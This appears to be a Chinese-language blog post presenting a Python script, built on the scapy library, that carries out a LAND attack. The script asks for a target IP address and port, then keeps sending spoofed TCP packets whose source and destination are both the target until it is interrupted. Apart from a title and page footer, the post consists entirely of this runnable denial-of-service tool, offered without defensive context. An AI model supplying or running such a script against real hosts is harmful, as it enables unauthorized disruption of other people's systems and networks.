基於scapy的LAND Attack攻擊

 基於scapy編寫的LAND Attack攻擊

#!/usr/bin/env python3
import scapy.all as scapy  #引入scapy庫
import time



target = input("Please input your target:")   #輸入想要攻擊的ip地址
port = input("Please input your target's port:") #輸入端口
port = int(port)  #因爲input接收的是str,所以要轉換成int型

send_packets=0 #記錄發送包的數量
try:
    while True:
        a = (scapy.IP(src=target,dst=target)/scapy.TCP(sport=port,dport=port))   #構造LAND attack攻擊包
        scapy.send(a,verbose=False)
        send_packets+=1  #發送一個,自動加一
        print("[+] Sent Packets:" + str(send_packets))
        time.sleep(1)
except KeyboardInterrupt:
    print("[-] Ctrl+C detected.......")

 

 

 

發佈了31 篇原創文章 · 獲贊 24 · 訪問量 2萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章